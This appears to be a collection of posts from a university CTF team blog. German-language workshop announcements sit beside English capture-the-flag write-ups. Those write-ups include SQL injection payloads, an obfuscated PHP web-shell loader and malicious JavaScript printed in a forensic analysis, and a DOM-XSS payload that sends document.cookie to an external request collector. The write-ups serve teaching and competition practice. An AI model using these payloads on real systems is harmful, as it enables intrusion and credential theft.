Squareroots & kitCTF @ GPN15

May 31, 2015

This post intentionally left german.

Bereits gegen 5 schleichen sich die ersten Sonnenstrahlen in unser HLab und sorgen für unschöne Reflektionen auf unseren Monitoren. Das wohl beste Mittel dagegen? – Gulasch!

Zusammen mit dem Team kitCTF veranstalten wir auch in diesem Jahr einen CTF im Rahmen der GPN15. Wir bieten euch spannendes Echtzeit Hacking, Nervenkitzel und riskantes Live-Patching. Kurzum dieses Jahr ist unser CTF serverbased (mehr zu den Regeln und dem Ablauf).

Also schnappt euch ein Team, packt neben eurem Gulasch-Löffel noch einen Laptop ein und kommt zu unserer Eröffnungsveranstaltung (05.06.2015 20:00) nach Karlsruhe. Ach und meldet euch doch bitte schon einmal an, damit wir besser skalieren können :).

Wir freuen uns auf euch :)


0ctf 2015 quals – forward (web250)

March 30, 2015

At the start we’ve only got an url to our target webserver:

Bildschirmfoto 2015-03-30 um 18.14.33

When we click on “Login” we get a javascript popup which tells us “You Are Not Authorized!”. Then we click on “FLAG”, because that’s what we want. Unfortunately we don’t get a flag yet, but the source code of admin.php is revealed.

    if (isset($_GET['view-source'])) {
    include("./inc.php"); // key & database config

    function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }

    $nonce = mt_rand();

    extract($_GET); // this is my backdoor :)
    if (empty($_POST['key'])) {

        err("Parameter Missing!");

    if ($_POST['key'] !== $key) {
        err("You Are Not Authorized!");

    $conn = mysql_connect($host, $user, $pass);

    if (!$conn) {
        err("Database Error, Please Contact with GameMaster!");

    $query = isset($_POST['query']) ? bin2hex($_POST['query']) : "SELECT flag FROM forward.flag";
    $res = mysql_query($query);
    if (FALSE == $res) {
        err("Database Error, Please Contact with GameMaster!");

    $row = mysql_fetch_array($res);

    if ($debug) {
        echo "HOST:\t{$host}<br/>";
        echo "USER:\t{$user}<br/>";

    echo "<del>FLAG:\t0ctf{</del>" . sha1($nonce . md5($row['flag'])) . "<del>}</del><br/>"; // not real flag


Now we inspect the code and find the comment “this is my backdoor :)”. After looking up what extract($_GET) does, it was clear that we can (re)define our own variables and values here using GET parameters. We’re also able to overwrite values which were set earlier. Inserting our own sql query however is not possible. If we alter the query in any way it is replaced by its hex-representation. Since it should be impossible to generate a valid query using the “bin2hex” php function, this is also a dead end.

Now we asked ourselves why it is possible to display the IP and the username of the mysql connection. If we change the host-parameter for the mysql_conenct() function maybe we can get mysql credentials. It really seemed like this was the case, because the remote host had an open mysql port. It turns out we can recover the username, but it was impossible to get the password (Checking the protocol specification would have helped).

So what do we have? We can make mysql user connect (with the correct password) to a server of our choice but not recover the password and also can’t directly alter the query. This was the point when we finally came up with the right idea: Use a proxy which forwards the mysql connection back to the original server.

php with our $host and unaltered user/password -> mysql-proxy (WE) -> remote host -> “select flag from forward.flag” -> [plaintext flag] -> mysql-proxy -> php

Because we didn’t think the flag is really in “forward.flag” we set up “mysql-proxy” to alter the query if we need to. After changing the host value via the get parameter to our server ip, we got a result from the php script, which means the connection was successful by using our mysql-proxy. To get the result of the query we just had to start tcpdump and capture all traffic from and to the mysql-proxy.

After inspecting the dump in wireshark we found this string “0ctf{w3ll_d0ne_guY}”

This is (roughly) how everything looked like in the end (The Firefox addon “HttpRequester” on the right to alter http requests) :



Squareroots CTF‑Workshop – März 2015

March 5, 2015

This page is intentionally left german.

Auch dieses Semester veranstalten wir, die squareroots, am Wochenende von Freitag den 20. bis Sonntag den 22 März 2015 einen Workshop in den Räumlichkeiten der Universität Mannheim.
Wie bereits bei unseren vorherigen Workshops werden wir neben Einführungen in verschiedene Technologien und Werkzeuge auch den Ablauf von CTF-Wettbewerben vorstellen.

Anmeldungen sind ab sofort möglich auf http://anmeldung.sqrts.de/!



Squareroots hacking the Himalaya

November 4, 2014

Himalaya, 24th of October 2014

We are in one of the world’s most targeted areas when it comes to cyber attacks:
Dharamsala, India, HQ of the Tibetan Exile Government is one of the main targets
of Chinese hackers.

Here, over 70 hackers from all over the world met for the hillhacks hacking
conference (hillhacks.in). One of the participating hackers was our member
floatec, who not only attended the event but also held a small lecture about CTF
Although we all know, that CTFs are not only a fun hobby, but also a good way to
motivate people to get in touch with topics of IT security, in India, these
kinds of competitions are mostly unknown.
So we needed to start from the very beginning: What are CTFs? How do they work?
What different types of CTFs exist and how can you organize your own one?

In the end, we showed and explained a bunch of useful tools for CTFs.
In only 60 minutes, we rushed through all the relevant topics.

But after all, the lecture was a success, as great parts of the audience were
really interested in the topic and planned to try out a CTF in the future.

A record of the talk will be made available in the near future by hasgeak from
Bangalore. We can just recommend you to visit the next hillhacks, which will
take place in May 2015.


floatec (r) gives a lecture about CTFs at hillhacks (photo © David Huang)


Hack.lu CTF 2014 – Killy The Bit (web200)

October 27, 2014

Writeup by mooh

After reading other write-ups for this task (https://github.com/ctfs/write-ups/tree/master/hack-lu-ctf-2014/killy-the-bit), I thought I should write one. Not that it is better (I really prefer the other solutions) but I find it interesting because it involves luck and brute force (that you actually don’t see often in a CTF :))

I looked at the challenge after the three hints were published: I know there is a passwd column, blind is a bad idea and it is possible to solve the challenge with one request

So here the relevant part of the source code (https://github.com/ctfs/write-ups/blob/master/hack-lu-ctf-2014/killy-the-bit/index.phps):

There are 3 queries:

1. $res = mysql_query("SELECT name,email FROM user where name='".$_GET['name']."'");

if result then email is sent 
else continue

2. $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

if no result then “user not found, are you sure”
else continue

3. $res = mysql_query("SELECT name,email FROM user where name sounds like '".$_GET['name']."'");

if result then display the name

The output of the last query is then displayed so the idea would be to do a union with the passwd column to display it:

admi' UNION SELECT passwd,2 FROM USER WHERE NAME = 'admin' -- 

This would then display the admin password.
The problem is that this injection returns a result in the first query and therefore an email is sent and the program returns.

The expected solution was to simply add


In the first query, it doesn’t return anything (as the resultset only contains one entry but due to the offset 2 it is empty) but it returns an entry containing the password on the following queries.

I didn’t think about that…
Instead that’s what I wanted to do:
- I want query 1 to return an empty resultset (i.e. no password sent)
- I want query 2 to return a result (i.e. no “we couldn’t find a user, are you sure it is…”
- I want query 3 to return a result (the injection)

My idea was to use some kind of randomness in the query to make it works in 2 and 3 and fails in 1: for example WHERE RAND() > 0.5. By submitting the query multiple times, it should work at some stage :) (probability of 1/8)
Unfortunately RAND() was filtered (because of the AND filter). Why isn’t it called RND()?

So let’s use SYSDATE() instead that returns the time in second when the query is executed. Idea is then to check the parity of the second: if uneven then true else false. It was not possible to work with millseconds with this mysql version.
Now is time to build the query. We need to restrict the password to the one from the admin and add the randomness. As AND and && were filtered, let’s use CASE:

' UNION SELECT passwd,1 FROM user WHERE CASE WHEN name = 'admin' THEN MOD(sysdate(),2) ELSE 0 END-- 

And now send the request until the first request is executed at an even second and the second and third at an uneven second.

Running the script:

-->A new password was generated and sent to your email address!
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->A new password was generated and sent to your email address!
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->We couldn't find your username!<br>Are you sure it is ' union select passwd,passwd from user where case when name = 'admin' then MOD(sysdate(),2) else 0 end-- ?
-->We couldn't find your username, but it sounds like this user:<br>flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}<br>


After maybe 40 tries I finally caught the right moment ;)



ASIS Finals 2014 – XOROR (PPC 150)

October 13, 2014


Connect here and find the flag:
nc asis-ctf.ir 12431


Connecting to the given address, we are greeted by some ASCII art and a prompt to send “START” back to the server.

Screenshot from XORQR

Converting the “+” and “-” characters from the server to black and white pixels, you can recover something that looks like a QR code, however it seems damaged.
Remembering the name of the challenge or the ASCII art or by just analyzing the image, you can easily see that the QR code is in fact not damaged but rather some rows are simply flipped (xored).

A (converted) sample QR code looks like this:


Given that information, the challange is as follows:
Connect to the server, send “START”, quickly (there is a time limit of ~5 seconds for each round) convert the given “+” and “-” characters to a QR code, flip the correct rows, decode the QR code and send the content of the QR code back to the server (repeat x times).

So the next step is to figure out which rows are flipped/xored. When I first started, I thought this would be the main problem. Looking at the structure of QR codes it turns out this part will be quite easy:


Considering this, we can easily recover the xored rows. If you don’t quite understand the image: there is a so-called “timing pattern” in every QR code which is a fixed pattern of black and white pixels, no matter the size or the content of the QR code. The big black squares at the top and bottom left of are also always there. We can exploit those properties to reliably recover the original QR code.


Decoding the QR code is the last step and I chose the easy way. I saved the code as an image and submitted it to an online QR solver, parsed the result and got my answer.
After sucessfully decoding 14 QR codes, we get the flag (in the beginning there were 15 rounds but the QR code from round 15 was not decodable, ASIS later removed round 15):
sample output and flag

flag: ASIS_68d47fab03368ff94025a4f4a1dabf0f

And here the code for my solver: XORQR_final


ASIS Finals 2014 – Match the pair (Web/PPC 200)

October 13, 2014


Play 40 levels of the game quickly in order to get the authorization to see the flag


Match the pair is a traditional concentration mage and the user has to find eight image pairs containing a circle with the same color. The game logic is handled server side and the HTML code gives no hints for the pairs. The server randomly generates the images and if you request the image multiple times, the server generates different images but the color within the circle is equal.

You can play this game by hand and if you successfully found all eight pairs, a new level with new pairs starts. Eventually if you solved 40 levels successfully, the game rewards you with a flag. Depending on your talent, in practice the game resets the level count while you play the second or third level.

To circumvent this our first try automating the game was to simply brute force the game and compare the first image with the second, third … until we find a pair. Doing it that way was still not successful.

Looking a bit further into the game

As already, tolled above, the images are generated server side and their URL is http://asis-ctf.ir:12443/pic/{0..15}. If a player uncovers two images, let us say 3 and 12, game logic sends an Ajax request with the URL http://asis-ctf.ir:12443/send?first=3&second=12 to validate the pair. The server responds with “f” in case the pair does not match or “ok” if the pair matches.

Playing around with this validation API, we recognized that the server always responds with “ok” if we set the same value for the parameter first and second (e.g. http://asis-ctf.ir:12443/send?first=0&second=0). Always? No! The server only responds seven times with “ok” but the eighth time with “done”. Looking in the JavaScript of the game you will see that the game logic reloads the page after it received a “done”. Doing it manually in the browser, you see that you reached the second level. WOOHO! Let’s try again! Seven Requests to the send API, seven times “ok”, eighth request “done”, reload and welcome to level three.

Let’s automate!

We simply took parts of the games JavaScript, modified it a bit and created a recursive function that plays us some levels through requesting eight times the send API and then simulating a page reload.

function recurse(i, c) {
    url: '/send',
    data: {
      'first': 0,
      'second': 0
    timeout: 5000,
    success: function (data) {
      if (data != 'f' && data != 'ok' && data != 'done') {
      } else {
        if (i == 7) {
          if (++c != 41) {
            var xhr = new XMLHttpRequest();
            xhr.open('GET', '/', false);
            console.log('Reached level ' + c);
            recurse(0, c);
          } else {
        } else {
          recurse(i + 1, c);
    error: function (jqXHR, textStatus, errorThrown) {
      console.log(JSON.stringify(jqXHR) + ' ' + textStatus + '  ' + errorThrown);
recurse(0, 1);

Passing this code into the JavaScript console of your browser and waiting some time will result in an alert telling you to visit http://asis-ctf.ir:12443/flag.


On this page, the flag ASIS_28ca740e382225131fc0501d38cf5d30 rewards your efforts.

Possible alternative solution

If you do not want to cheat the game, you have to put some more efforts in analyzing the images. It turned out that the images are PNG images with indexed colors. Thereby the ninth color seems to be the color of the circle for every image. So you only have to download all images, extract the color of the circle and then you can play the game with the true pairs.

However, hackers are lazy…


CSAW14 – Fluffy no more (Forensic 300)

September 24, 2014
Writeup by mooh


OH NO WE’VE BEEN HACKED!!!!!! — said the Eye Heart Fluffy Bunnies Blog owner. Life was grand for the fluff fanatic until one day the site’s users started to get attacked! Apparently fluffy bunnies are not just a love of fun furry families but also furtive foreign governments. The notorious “Forgotten Freaks” hacking group was known to be targeting high powered politicians. Were the cute bunnies the next in their long list of conquests!??
Well… The fluff needs your stuff. I’ve pulled the logs from the server for you along with a backup of it’s database and configuration. Figure out what is going on!
Written by brad_anton

Here we have a WordPress blog that has been compromised.

A (quick) look in the folder named “html” shows an interesting “upload”-folder with an even more interesting template.php file:

 $hije = str_replace("ey","","seyteyrey_reyeeypleyaeyceye");
 $vyoh = $hije("n", "", "nbnansne64n_ndnecode");
 $bpzy = $hije("z","","zczreaztzez_zfzuznzcztzizon");
 $xhju = $bpzy('', $vyoh($hije("sq", "", $andp.$pvqw.$wfrm.$rhhm))); $xhju();

After deobfuscation:

 if(reset($a)=='ha' && $c($a)>3){
   echo '<'.$k.'>';
   echo ‘</'.$k.'>';

So if someone calls this page with specific cookies, he could be able to get a shell.

Let’s check the access.log if someone called it:

7534: - - [16/Sep/2014:20:42:54 +0000] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.1" 302 385 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
7535: - - [16/Sep/2014:20:42:54 +0000] "GET /wp-content/uploads/wysija/themes/weblizer/template.php HTTP/1.1" 200 165 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)”

Ok so someone with the IP has access to the web server. What did he do?

Looking in /var/log/auth.log, there is something interesting:

Sep 17 19:20:09 ubuntu sudo: ubuntu : TTY=pts/0 ; PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js

So let’s have a look at this file. If we compare it with the original (https://code.google.com/p/html5shiv/source/browse/trunk/html5.js?r=32) we can see that some code was added at the end

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
 c += f[i].length.toString();
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
 if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
 f += String.fromCharCode(46);
 f += c[i];
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");

After deobfuscation:

<script src=‘'></script>

So now we look at this javascript (a whois on the server shows that it belongs to “United States Brooklyn Polytechnic University” so we are on the right way ;) ).
It looks like a normal analytic script but in the middle there is something hidden:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32
\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66",
 window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);

After deobfuscation:


So let’s open the pdf!

Still no flag… Let’s go deeper. We open the file with PDFStreamDumper and there is another obfuscated javascript

var _0xee0b = ["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20
\x20\x42\x75\x6D\x70\x79\x7D"];var y=_0xee0b[0];

After another (and last) deobfuscation, we finally get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb :)

flag{Those Fluffy Bunnies Make Tummy Bumpy}


CSAW14 – Hashes (Web 300)

September 24, 2014

Writeup by mooh


location, location, location
Written by ColdHeat


Screenshot of the challenge website


One of three available pictures

We have a website with 3 links which show pictures of cats and dogs when we click on them.

There is a form as well where we can enter an url and the bot will click on it. It sounds like a XSS challenge. Let’s see if the bot clicks on every link. For that I will use the service http://requestb.in/. This is their service description: “RequestBin gives you a URL that will collect requests made to it and let you inspect them in a human-friendly way.” So no need to setup a web server. Just enter a RequestBin url and see the results: we got a request from User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.7 Safari/534.34.

First idea: The link we send is inserted in a HTML page (<a href=“…”>) and the bot clicks on the link. So we would try to escape from the link to write some javascript code to add the cookie.
But tests with http://requestb.in/1d372eg1?c=bla” and http://requestb.in/1d372eg1?c=bla’ are unsuccessful, the quote and double quotes are part of the parameters…

Another look at the source code [0] shows that there is some javascript responsible for showing an image when we click on the links. It uses window.location.hash and this value is directly used in $(). Sounds like DOM-XSS. But window.location.hash starts with a “#” so it is not so easy to exploit. Lucky for us, the jQuery library used is quite old and vulnerable to DOM-XSS.
So let’s write a cookie stealer in the hash:<img src="bla.jpg" onerror="document.location= 'http://requestb.in/1d372eg1?c=' + document.cookie”>

We check our RequestBin and voila

c: win=”flag{these_browser_bots_are_annoying}




<!DOCTYPE html>
 <script src="//ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.js"></script>
 <style type="text/css">
 .image {
 display: none;
 img {
 width: 400px;
 <a href="#bowtie">bowtie</a>
 <a href="#fluffy">fluffy</a>
 <a href="#beanie">beanie</a>
<div class="image" id="bowtie"><img src="http://i.imgur.com/C9tanfn.jpg"></div>
 <div class="image" id="fluffy"><img src="http://i.imgur.com/oAdF86F.gif"></div>
 <div class="image" id="beanie"><img src="http://i.imgur.com/Uc738dz.jpg"></div>
<div id="message">
 <p>Send me cool links to images!</p>
 <p>There is a bot that checks these links and he kind of unhappy<p>
 <form method="POST" action="/message">
 <input type="text" name="message">
 <input type="submit">
<script type="text/javascript">
 $(window).bind( 'hashchange', function(e) { 
 tag = window.location.hash
 tag = window.location.hash

CTF-Workshop Oktober 2014

September 5, 2014

This page is intentionally left german.

Nach den letzten erfolgreichen Workshops, für die wir viel positives Feedback bekommen haben, wollen wir auch im kommenden Wintersemester wieder einen Kompakt-Workshop zum Thema Hacking und CTF-Wettbewerbe veranstalten. Der Termin für diesen Workshop ist das Wochenende vom 10. bis 12. Oktober.

Wir, das sind die squareroots, das 2006 gegründete Hacking-Team der Uni Mannheim, welches regelmäßig an weltweiten IT-Sicherheits-Wettbewerben (so genannten Capture the Flag Wettbewerben) teilnimmt. Zu uns gehören hauptsächlich Studenten verschiedener Einrichtungen (u.a. Uni, DHBW, HS MA) und Fachrichtungen, aber auch andere Interessierte.

Im Rahmen der Veranstaltung wird den Teilnehmern eine Einführung in verschiedene Arten von Schwachstellen, die sowohl im simulierten Hacking-Wettbewerb als auch in echten Webdiensten auftauchen, gegeben. Zusätzlich präsentieren wir den Teilnehmer eine strukturierte Heransgehensweise für die Teilnahme an CTF-Wettbewerben. Die Teilnehmer lernen außerdem Grundlagen in der Benutzung der Linux-Konsole sowie die Automatisierung von Abläufen in Python. Abgerundet wird der Workshop am Sonntagnachmittag mit einem echten CTF-Wettbewerb, in dem die Teilnehmer in Teams gegeneinander antreten.

Nach aktuellen Stand werden wir am Freitag eine Einführung in Linux und die Konsole geben. Im Anschluss findet ein Get-Together mit den Teilnehmern statt, in dem wir euch gerne etwas kennenlernen wollen. Den Samstag widmen wir dann den “harten Fakten” und präsentieren einleitend JavaScript, Command- und SQL-Injections sowie grundlegendes zum Thema Reguläre Ausdrücke. Der Sonntag steht dann im Zeichen des CTF-Wettbewerbs. Dort erklären wir euch, wie man im CTF Abläufe automatisieren kann und wie die erste Stunde im CTF abläuft. Am Nachmittag veranstalten wir dann einen CTF, bei dem die Teilnehmer der in Teams gegeneinander antreten.

Prinzipiell gibt es keine Beschränkungen, was Betriebssysteme angeht. Für den Linux-Teil des Kurses werden wir euch Resourcen zur Verfügung stellen. Sicherlich schadet es aber nicht, wenn ihr für den Abschluss-CTF eine Live-CD bzw. einen Live-USB-Stick mit Linux dabei habt, da sich manche Dinge unter Windows nicht ganz so einfach erledigen lassen. Für Mac-User sollte das nicht notwendig sein.

Ihr solltet euch Freitag ab 19 Uhr und Samstag/Sonntag (11./12.) ca. 10 – 19 Uhr freihalten. Der Zeitplan folgt in kürze.

Der Kurs richtet sich explizit nicht ausschließlich an Studenten der Uni Mannheim, sondern auch an Studenten der anderen Mannheimer Hochschulen und alle aus dem Großraum Rhein-Neckar, die sich für IT-Sicherheit interessieren. Sofern ihr Fragen habt, schreibt bitte eine E-Mail an Johannes (sqrts@anmeldung.sqrts.de).

Anmeldungen sind ab sofort möglich auf http://anmeldung.sqrts.de/!

Diese Veranstaltung wird in Kooperation mit der Arbeitsgruppe Theoretische Informatik und IT-Sicherheit der Universität Mannheim durchgeführt.

Get Adobe Flash player